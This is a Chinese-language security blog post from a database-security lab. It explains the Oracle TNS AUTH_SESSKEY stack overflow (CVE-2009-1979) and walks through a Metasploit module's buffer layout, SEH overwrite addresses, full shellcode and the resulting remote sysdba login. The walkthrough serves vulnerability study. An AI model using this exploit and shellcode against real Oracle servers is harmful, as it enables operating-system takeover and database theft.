標籤:資料庫安全 資料防泄漏 入侵手段 oracle 漏洞攻擊
背景
隨著資料庫入侵手段的發展,對資料庫的攻擊已經不僅僅是針對資料庫本身,而是擴充到資料庫的各種組建(甚至中介軟體中)。
TNS(Transparance Network Substrate)作為ORACLE的核心組件之一,主要負責選擇oracle協議配置器,確定一種用戶端和伺服器都支援的傳輸協議進行傳輸。TNS不僅定義了資料庫和用戶端之間的通訊協議,更負責對用戶端進行身分識別驗證(確認用戶端所用使用者名稱和密碼是否合法)。簡單說如果TNS有可利用漏洞則可能直接對Oracle造成入侵。利用TNS入侵oracle基本有3種方式:1.通過劫持TNS資訊,把oracle的登入資訊劫持到攻擊者機器,擷取敏感資訊,甚至擷取oracle管理員帳號密碼。具體請參考安華金和資料庫安全實驗室發表的《Oracle資料庫漏洞隱患無需user/password快速入侵》一文。2.直接對在TNS中加密的oracle登入密鑰進行破解具體請參考安華金和資料庫安全實驗室發表《見招拆招,破解oracle密碼》一文。3.通過緩衝區溢位的方式,在oracle調用異常的TNS參數的時候擷取oracle本地作業系統的控制許可權。
本文將具體介紹方式3,通過TNS上的緩衝區漏洞入侵oracle所在作業系統。所用例子為CVE-2009-1979。借鑒該漏洞原作者的攻擊代碼,用metasploit做攻擊工具,對一台win2003sp1上的oracle10g2.0.1.0進行攻擊。
漏洞說明
CVE-2009-1979(原作者代碼http://www.securityfocus.com/archive/1/507598)這個漏洞簡單說就是:用戶端和伺服器確定要使用的驗證機制後。進行O3logon驗證(該協議是為了用戶端向資料庫證明用戶端擁有合法密鑰)每次登入資料庫的時候都會走o3logon協議。在這個協議中用戶端在擷取資料庫發來的AUTH_SEKEEY後,會向資料庫發送一個對應的AUTH_SEKEEY和AUTH_PASSWORD。oracle10g1.0.5到10.2.04這些版本中用戶端發送的AUTH_SEKEEY由於沒有對內容的長度進行合理限制。導致成為一個緩衝區溢位的注入點。一個正常的AUTH_SEKEEY長度是64位(如所示)。而如果AUTH_SEKEEY長度超過64位則可能修改AUTH_SEKEEY附近的記憶體變數。導致出現不可預計的結果。
650) this.width=650;" name="image_operate_77561425973627045" width="520" height="240" title="OracleTNS漏洞攻佔oracle所在作業系統,進而入侵oracle" alt="OracleTNS漏洞攻佔oracle所在作業系統,進而入侵oracle" src="http://s3.sinaimg.cn/mw690/001T9C8mzy6QAyVLXxgd2&690" />
光知道AUTH_SEKEEY存在一個注入點是不夠的,還需要進一步瞭解AUTH_SEKEEY是以什麼方式儲存在記憶體中的才可能有針對性的利用這個注入點。由於AUTH_SEKEEY是TNS接收的一個參數所以AUTH_SEKEEY在記憶體中的儲存方式和TNS對訊息的儲存方式密切相關。用戶端發送資訊包到達伺服器端經曆了多個軟體層。為了便於理解我們把這個過程做一個簡化。從用戶端開始資訊被傳遞到用戶端本地TNS,用戶端本地TNS格式化這個資訊,並將它發送給作業系統協議棧。作業系統協議棧通過網路將這個資訊傳遞給伺服器的協議棧:接著這個訊息被傳遞給TNS,最終oracle調用TNS中傳過來的資訊。這個過程可以粗略的看成是在系統棧中進行的。所以可以基本認為CVE-2009-1979是一個緩衝區棧溢出漏洞。利用AUTH_SEKEEY值長度異常進行的棧緩衝區溢位攻擊。關於緩衝區棧溢出原理可以參考安華金和資料庫安全實驗室發表的《windows緩衝區溢位原理(棧)》一文。
代碼詳解
為了更細緻說明這個漏洞的具體機制,直接參考metasploit上關於該漏洞的代碼。代碼主體結構為:
require ‘msf/core‘
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::TNS
include Msf::Exploit::Remote::Seh
def initialize(info = {})
def check
def exploit
...........
end
其中核心函數只有initialize() 和exploit 兩個。initialize主要是用來對漏洞利用的說明。exploit用來真正進行緩衝區溢位攻擊。置於其他函數不屬於關鍵函數,所以本文不介紹。
initialize的核心代碼為:
‘DefaultOptions‘ =>
{
‘EXITFUNC‘ => ‘seh‘,
},
‘Payload‘ =>
{
‘Space‘ => 0x17e,
‘BadChars‘ => "", # none, thx memcpy!
‘StackAdjustment‘ => -3500,
},
‘Platform‘ => ‘win‘,
‘Targets‘ =>
[
[ ‘Automatic‘, { } ],
[ ‘Oracle 10.2.0.1.0 Enterprise Edition‘,
{
# Untested
‘Ret‘ => 0x011b0528 # p/p/r in oracle.exe v10.2.0.3
}
],
[ ‘Oracle 10.2.0.4.0 Enterprise Edition‘,
{
# Tested OK - 2010-Jan-20 - jduck
‘Ret‘ => 0x01347468 # p/p/r in oracle.exe v10.2.0.3
}
]
],
‘DefaultTarget‘ => 0,
‘DisclosureDate‘ => ‘Oct 20 2009‘))
initialize函數說明該漏洞被利用的條件(圖中標紅的地方為關鍵重點)該漏洞被描述為利用緩衝區棧溢出的SEH方式。這裡的payload指的單純是shellcode,而不是整個向注入點中注入的字串(本文中就是組成AUTH_SESSKEY的值)。其中特別指出了整個棧中可被shellcode覆蓋的空間限制為382個位元組。badchars是限制用於填充空指令的限制字元。在win2003上對填充字元沒有限制(有限制是為了防止填充字元對shellcode造成破壞,每種指令集的填充字元不同。)platform說明需要作業系統為WIN系列。這是因為不同的作業系統棧的結構、對棧緩衝區溢位的保護程度都是不同的(即便同樣的作業系統不同的補丁下API基地址也有變化這回對緩衝區攻擊造成很大影響)targets是指的可用於攻擊的資料庫版本號碼和SEH方法最關鍵的POP/POP/RET地址。本例中採用的是orcale10.2.0.1.0所以POP/POP/RET地址為0x011b0528。initialize最關鍵的3個點是:1.指出了shellcode的最大長度。2.指出了對應版本oracle用於SEH的POP/POP/RET地址。3對緩衝區溢位填充字元做了限制,防止sploit 被填充字元破壞。
exploit函數核心代碼:
#偽造用戶端給資料庫發送的前6個包
# build exploit buffer
print_status("Calling kpoauth with long AUTH_SESSKEY ...")
sploit = payload.encoded 1
sploit << rand_text_alphanumeric(0x1aa - 0x17e) 2
sploit << generate_seh_record(mytarget.ret) 3
distance = payload_space + 0x2D
sploit<<Metasm::Shellcode.assemble(Metasm::Ia32.new,"jmp$-"+ 4
distance.to_s).encode_string
expliot函數主要負責2個任務:
1.偽造oracle用戶端給真實的資料庫發送包,直至發送到含有AUTH_SESSKEY字串的資料包為止。就是偽造的資料包,exploit偽造的就是IP為10.10.10.128的用戶端。10.10.10.130就是要入侵的目標資料庫。
650) this.width=650;" name="image_operate_16211425973482194" width="520" height="73" title="OracleTNS漏洞攻佔oracle所在作業系統,進而入侵oracle" alt="OracleTNS漏洞攻佔oracle所在作業系統,進而入侵oracle" src="http://s13.sinaimg.cn/mw690/001T9C8mzy6QAz5VN9i2c&690" />
2.建立緩衝區溢位的sploit (build exploit buffer開始的內容),首先給出製造的緩衝區溢位的整體結構: shellcode指令碼+隨機地址+短跳板+返回地址+長跳板。下面逐行說明:
第一行:sploit = payload.encoded
存入shellcode。這個shellcode的功能是直接擷取被攻擊機器的作業系統許可權。代碼如下:
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0"
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57"
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01"
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B"
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4"
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B"
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24"
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07"
"\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00"
"\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF"
"\xD5\x97\x6A\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6"
"\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF"
"\x4E\x08\x75\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56"
"\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00"
"\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56"
"\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75"
"\xEC\xC3"
shellcode簡單說就是一段為緩衝區溢位攻擊而植入進程的代碼,大多數是用組合語言編寫的。shellcode本身根據跳入的方式不同分為jump/call、pop return、push return、jmp[reg+offset]、blind return、SEH等多種類型。由於本文重點不在討論shellcode。所以此處略過,以後會補上shellcode專門介紹的文章。本文的shellcode用的是SEH這種方式。
第二行:sploit << rand_text_alphanumeric(0x1aa - 0x17e)
產生填滿目標地址到源地址之間的隨機數。用隨機數而不用固定的一串字元,最主要的原因是防止程式被某些防護機制處理而導致實驗失敗。TNS收到資料後會在oracommon10.dll中的函數kpzgkvl中進行檢查。檢查後用資料intel_fast_memcpy(這個函數是編譯的時候intel對指令對memcpy進行了最佳化,而產生的代替memcpy的函數)拷貝給oracle處理。同樣AUTH_SESSKEY的值也會走這個過程。溢出點就出現在這個拷貝函數中。拷貝的源地址是04AB99A4、目標地址是0x0673dB96(本文出現的所有地址只是作者的win2003sp1上的地址,打上不同補丁的作業系統地址會有變化),而最近的SEH地址為0X0673DD40。地址04AB99A4中儲存的AUTH_SESSKEY值通過intel_fast_memcpy拷貝到地址0x0673dB96。對04AB99A4中儲存的AUTH_SESSKEY值沒有長度判斷導致,在拷貝到0x0673dB96後覆蓋到0X0673DD40(SEH地址)發生緩衝區溢位。如果想要AUTH_SESSKEY的值從地址0x0673dB96一直覆蓋到地址0X0673DD40,則需要考入426(0x1aa)個字元。只有在04AB99A4這個點輸入426長度的字串才有可能。這個漏洞的initialize中指出shellcode空間為382(0x17e)。不滿足覆蓋需求所以需要用(0x1aa - 0x17e)個字元來填充保證能覆蓋到SEH(0X0673DD40)。為了更清楚說明為什麼要覆蓋到0X0673DD40,下面說明和本例相關的SEH中的一小部分。
SEH是windows的異常出處理機制。任何程式的異常處理本質上都是安裝了SEH。一個線程中允許存在多個SEH。如果一個線程中沒有做任何異常處理。windows也會在建立線程的開始通過系統函數來建立一個系統級SEH(當所有的SEH都無法處理異常的時候,最終會調用系統函數處理異常。結果就是彈出一個對話方塊,並強制關閉程式)。
在一個棧中每個SEH大小為8位元組,有2個4位元組成員組成,低地址位儲存的是指向下一個SEH鏈表的指標,高地址位儲存的是異常處理函數地址。當異常發生時會從TEB(線程環境塊)中讀取指向SEH鏈的指標,開始從異常觸發地方由近及遠逐個訪問SEH,如果距離異常觸發地方最近的SEH能處理該異常,則由該SEH處理。如果無法處理則沿著SEH鏈跳向下一個SEH。以此類推直到異常處理。最後一個SEH鏈的底部是FFFFFFFF。最後一個SEH就是線程開始系統建立的SEH。
650) this.width=650;" name="image_operate_49671425973558943" width="402" height="313" title="OracleTNS漏洞攻佔oracle所在作業系統,進而入侵oracle" alt="OracleTNS漏洞攻佔oracle所在作業系統,進而入侵oracle" src="http://s2.sinaimg.cn/mw690/001T9C8mzy6QAzbhfWh21&690" />
緩衝區溢位SEH方式就是利用字串覆蓋掉SEH鏈中距離,異常觸發點最近的SEH。把SEH handle(0x0673DD44)地址覆蓋成pop/pop/ret類型(0x11b0528)。欺騙SEH handle執行pop/pop/ret,過程紅會把pointer to next SEH rerord的地址放入EIP中最終ret會跳出到pointer to next SEH rerord中。具體過程為:當異常觸發的時候,異常會自動自己建立一個棧幀。它會把SEH handle成員壓入新建立的棧幀中。在SEH結構中有一個域是EstablisherFrame。這個域指向異常管理註冊記錄,pointer to next SEH rerord的地址被壓入棧中,被壓入的這個值位於ESP+8的位置。pop/pop/ret串覆蓋SEH handle 後第一次pop 彈出棧頂的4bytes,接下來pop繼續從棧中彈出4bytes。最後ret將把此時ESP所指棧頂中的值(pointer to next SEH rerord)放到EIP中。所以被pop/pop/ret覆蓋的SEH handle會跳回pointer to next SEH rerord。
由於pointer to next SEH rerord被改寫成EB 06 +2個隨機字元(湊成一行)則會跳過下面被改寫的SEH handle。執行SEH handle後面的內容。如果後面的內容是shellcode或者是指向shellcoded的跳轉指標,則跳入shellcode開始執行shellcode。
第三行. sploit << generate_seh_record(mytarget.ret)
通過函數generate_seh_record產生2行覆蓋pointer to next SEH rerord的短跳板(包含EB 06、兩個隨機字元(湊成4位元組))和覆蓋SEH handle的返回地址(pop/pop/ret類型的0x11b0528)來完成覆蓋SEH跳轉到shellcode或下一個跳板的過程。
第四行
sploit<<Metasm::Shellcode.assemble(Metasm::Ia32.new,"jmp$-"+distance.to_s).encode_string
這句是一個長跳板。jmp$-表明是負跳轉(由記憶體低地址跳回記憶體高地址)設定長跳板位於從pointer to next SEH rerord跳過SEH hande 後,執行長跳板跳回sploit的起始地址,開始執行shellcode。
整個sploit 的結構是 shellcode+隨機填儲值+短跳板+pop/pop/ret地址+長跳板(跳回最開始的)shellcode。最後把這個值賦給AUTH_SESSKEY,給資料庫發送含有AUTH_SESSKEY的包。至此入侵完畢,為了效果更直觀,在入侵機上運行指令碼開啟遠端連線直接用 sqlplus / as sysdba 登入被入侵機資料庫完成整個攻擊。效果如所示:
650) this.width=650;" name="image_operate_15221425973754528" width="520" height="231" title="OracleTNS漏洞攻佔oracle所在作業系統,進而入侵oracle" alt="OracleTNS漏洞攻佔oracle所在作業系統,進而入侵oracle" src="http://s11.sinaimg.cn/mw690/001T9C8mzy6QAzj67bQ9a&690" />
至此漏洞CVE-2009-1979介紹完畢。安華金和資料庫安全實驗室將在下一篇文章中和大家分享此文中略過的shellcode的分類、用法、範圍限制等內容。
本文出自 “資料庫安全” 部落格,請務必保留此出處http://schina.blog.51cto.com/9734953/1619035
OracleTNS漏洞攻佔oracle所在作業系統,進而入侵oracle